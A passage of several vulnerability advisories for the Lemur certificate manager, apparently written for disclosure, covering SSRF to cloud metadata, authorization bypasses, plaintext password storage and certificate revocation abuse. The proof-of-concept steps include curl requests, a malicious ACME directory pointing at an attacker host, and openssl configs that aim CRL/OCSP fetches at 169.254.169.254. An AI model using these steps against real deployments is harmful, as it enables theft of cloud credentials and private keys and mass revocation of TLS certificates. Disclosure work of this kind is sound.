GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:

• Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
• Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
• Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Summary

The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (_validate_revocation_url() in lemur /certificates/verify.py) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

Affected version

Tested against main (the commit that introduced _validate_revocation_url). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in main. Please map the affected range to whichever release will first contain _validate_revocation_url.

Bypass 1 — HTTP redirect (deterministic)

The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:

# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   

The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns 302 Location: http://169.254.169.254/.... requests follows it to the internal target the guard never inspected.

Bypass 2 — DNS rebinding / TOCTOU (probabilistic)

The guard resolves once during validation; the fetch re-resolves independently:

# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (openssl ocsp -url <url>, verify.py:90-99).

Relationship to GHSA-54vg-pfh7-jq95

Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

Affected endpoint

POST /api/1/certificates/upload (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

PoC

1. Generate a cert with crlDistributionPoints = URI:http://attacker.example/crl.
2. That host returns 302 Location: http://169.254.169.254/latest/meta-data/... (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via POST /api/1/certificates/upload as an operator user.
4. Trigger lemur certificate check_revocation.
5. Observe the request reach the internal address (tcpdump -nni any host 169.254.169.254).

Impact

Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

Remediation

• allow_redirects=False on CRL fetches (or re-validate every redirect hop).
• Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
• Reject names with any internal A/AAAA record.

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

• JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
• Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
• The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
• Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

Field | Value -- | -- Title | Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header — defense-in-depth gap; chain-dependent ATO with secret disclosure Component | lemur/lemur/auth/service.py:130-137 CWE | CWE-347 (Improper Verification of Cryptographic Signature) Attack Prerequisite | Defense-in-depth gap on its own — no single-request exploit against PyJWT 2.x. Single-request ATO requires a separate disclosure issue that leaks LEMUR_TOKEN_SECRET, or a future migration to asymmetric signing without fixing this sink. Affected Versions | github.com/Netflix/lemur version = "1.9.0". Same code present in every prior release that has the auth/service.py:130 block.

Exploit Code & Lab Set-up

Lemur-jwt-alg-hardening.zip

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur API
    participant Disclosure as Disclosure surface
    participant Audit as Audit logging

    Note over Attacker,Lemur: "Today: PyJWT 2.x mitigation holds for alg=none"
    Attacker->>Lemur: "Bearer alg=none token with [payload]"
    Lemur->>Lemur: "pyjwt.decode raises (alg=none + non-None key)"
    Lemur-->>Attacker: "403 Forbidden"

    Note over Disclosure,Lemur: "Chain step: separate disclosure leaks LEMUR_TOKEN_SECRET"
    Attacker->>Disclosure: "trigger debug / SSRF / backup leak"
    Disclosure-->>Attacker: "LEMUR_TOKEN_SECRET value"

    Note over Attacker,Lemur: "Forge HS256 admin token with leaked secret"
    Attacker->>Lemur: "Bearer alg=HS256 admin token signed with leaked secret"
    Lemur->>Lemur: "algorithms=[HS256] (taken from header) — accepted"
    Lemur-->>Attacker: "200 OK, role=admin"

    Note over Audit: "alg=HS256 in audit log - no anomaly flag because attacker picks alg"

Summary

lemur.users.service.update() writes a user's new password as plaintext to the users.password column. The User model wires bcrypt hashing to SQLAlchemy's before_insert event but registers no equivalent listener for before_update, and service.update() does not call user.hash_password() after assigning the new value. Every password change performed through the admin-gated PUT /api/1/users/<id> endpoint persists the user's password to the database in cleartext.

Root Cause

lemur/users/models.py:

# line 38
class User(BaseModel):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    password = Column(String(128))            # plain column, no setter, no Vault descriptor

# line 74
    def hash_password(self):
        if self.password:
            self.password = bcrypt.generate_password_hash(self.password).decode("utf-8")

# line 111
listen(User, "before_insert", hash_password)  # only before_insert is wired

lemur/users/service.py:

# line 46
def update(user_id, username, email, active, profile_picture, roles, password=None):
    ...
    user = get(user_id)
    user.username = username
    user.email = email
    user.active = active
    user.profile_picture = profile_picture
    if password:
        user.password = password              # raw assignment
    update_roles(user, roles)
    return database.update(user)              # commits, no hashing

No before_update listener exists. User.password is a plain Column(String(128)) with no property setter that hashes on assignment. The bcrypt code path is bypassed entirely on every UPDATE statement that touches this column.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/users/<id> | lemur/users/views.py:274 (gated by @admin_permission.require) |

lemur/auth/views.py:323 also calls user_service.update() during SSO/OAuth login, but passes only six positional arguments. password defaults to None on that path and the if password: guard short-circuits. The bug is triggered only through the admin-only PUT handler.

Impact

When an administrator changes a user's password via PUT /api/1/users/<id>, the cleartext password is persisted to users.password. Subsequent login attempts for that user will fail (check_password calls bcrypt.check_password_hash against an unhashed value), pushing operators toward workarounds.

The more serious consequence is a defense-in-depth bypass. Bcrypt is the protection that prevents a database compromise from yielding usable credentials. With plaintext rows present, an attacker who exfiltrates the users table, a backup, a read replica, or query logs obtains directly usable login credentials — no offline cracking required. Because users reuse passwords across services, the blast radius extends beyond Lemur.

The bug specifically affects admin-driven password resets, which are the normal post-incident workflow and exactly when plaintext storage is most harmful.

Steps to Reproduce

1. Install Lemur with default config. Create an admin user and a target user 'alice' (created via the standard flow, password will be hashed correctly on insert).

2. Verify the initial hash: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: $2b$12$N9Q... (bcrypt hash, as expected)

3. As admin, change alice's password via the API: curl -X PUT https://lemur.local/api/1/users/<alice_id>
   -H "Authorization: Bearer <admin_jwt>"
   -H "Content-Type: application/json"
   -d '{ "username": "alice", "email": "alice@example.com", "active": true, "profile_picture": null, "roles": [{"name": "operator"}], "password": "ProofOfConcept_2026" }'

4. Read the column again: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: ProofOfConcept_2026 ← plaintext, not hashed

5. Confirm the failure mode: 'alice' can no longer log in with 'ProofOfConcept_2026' because check_password runs bcrypt.check_password_hash() against the cleartext column.

Remediation

Register the listener for both events:

# lemur/users/models.py
listen(User, "before_insert", hash_password)
listen(User, "before_update", hash_password)

Alternative, equivalent fix in the service layer:

# lemur/users/service.py, in update()
    if password:
        user.password = password
        user.hash_password()

The listener fix is preferred because it closes the gap for any future code path that mutates user.password.

A one-time migration is recommended to detect and re-hash any rows already stored in cleartext. Bcrypt hashes begin with $2b$, $2a$, or $2y$. Any cleartext credential should be treated as compromised — rotate it, do not just re-hash it — since it has been at rest in plaintext and may exist in backups, audit logs, and replicas.

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/roles/<id> | lemur/roles/views.py:298 |

Impact

A user who is a member of role X can:

• Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
• Remove other users from role X, denying their access (availability / governance impact).
• Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

2. Authenticate as alice and capture the JWT:

   curl -X POST https://lemur.local/api/1/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"alice","password":"<alice_pw>"}'
   

3. Confirm the initial state - bob is not a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: alice present in users list, bob absent
   

4. As alice, send a PUT that injects bob into the operator role:

   curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
        -H "Authorization: Bearer <alice_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "name": "operator",
              "description": "modified by alice",
              "users": [{"id": <alice_id>}, {"id": <bob_id>}]
            }'
   # observe: HTTP 200
   

5. Confirm bob is now a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: bob now present in users list
   

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

point = p.full_name[0].value                          # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],                            # attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

• Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
• On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
• Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

2. Generate a self-signed certificate whose extensions point at internal services:

   cat > openssl.cnf <<EOF
   [req]
   distinguished_name = req_distinguished_name
   req_extensions = v3_ca
   prompt = no
   
   [req_distinguished_name]
   CN = ssrf-poc.example
   
   [v3_ca]
   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
   EOF
   
   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
       -days 365 -nodes -config openssl.cnf -extensions v3_ca
   

3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

   sudo tcpdump -nni any host 169.254.169.254
   

4. As eve, upload the malicious certificate:

   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
   curl -X POST https://lemur.local/api/1/certificates/upload \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d "{
              \"name\": \"ssrf-poc\",
              \"body\": \"$BODY\",
              \"chain\": \"\",
              \"private_key\": \"\",
              \"owner\": \"eve@example.com\"
            }"
   

5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

Field | Value -- | -- Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. Affected Versions | github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Summary

Repo under test: https://github.com/Netflix/lemur

PUT /api/1/certificates/<id>/revoke authorizes the caller against the Lemur database row (creator == current user, or CertificatePermission over the row's roles) rather than the underlying CA-side certificate identity. Separately, POST /api/1/certificates/upload lets any user passing StrictRolePermission create a new Certificate row while freely supplying body, authority (resolved by id/name with no AuthorityPermission check) and external_id; there is no uniqueness constraint on body, serial, or external_id.

An attacker can therefore read a target certificate's public body, authority.id, and external_id via GET /certificates/<id>, upload a duplicate row, and revoke that duplicate. The creator-bypass skips CertificatePermission, the empty-endpoints check passes because the duplicate has none, and service.revoke() then revokes at the CA using the attacker-supplied body (ACME) or external_id (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

Affected route

POST /api/1/certificates/upload → PUT /api/1/certificates/<dup_id>/revoke

Affected code

• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates upload; no AuthorityPermission check
• lemur/certificates/schemas.py:391 — CertificateUploadInputSchema accepts caller-supplied authority and external_id
• lemur/schemas.py:107 — AssociatedAuthoritySchema resolves any authority by id/name with no permission check
• lemur/certificates/service.py:489 — upload() binds the caller-supplied authority onto the new row
• lemur/certificates/models.py:119 — only name is unique; body/serial/external_id are not, and get_or_increase_name() auto-suffixes on collision
• lemur/certificates/views.py:1677 — if g.current_user != cert.user: ... CertificatePermission ... — creator of the duplicate row bypasses the owner check
• lemur/certificates/views.py:1687 — if cert.endpoints: ... — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
• lemur/certificates/service.py:1120 — plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)
• lemur/plugins/lemur_acme/acme_handlers.py:268 — ACME revokes by certificate.body
• lemur/plugins/lemur_digicert/plugin.py:477, lemur/plugins/lemur_entrust/plugin.py:321 — commercial CAs revoke by certificate.external_id
• lemur/certificates/schemas.py:290 — CertificateOutputSchema exposes external_id, body, authority to any authenticated user

Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over GET /certificates yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an AuthorityPermission or CertificatePermission check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same body / external_id / authority) without any uniqueness constraint or AuthorityPermission check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's cert.endpoints, which is empty.

Validated evidence

Static path trace, confirmed by code inspection (validation status: CONFIRMED):

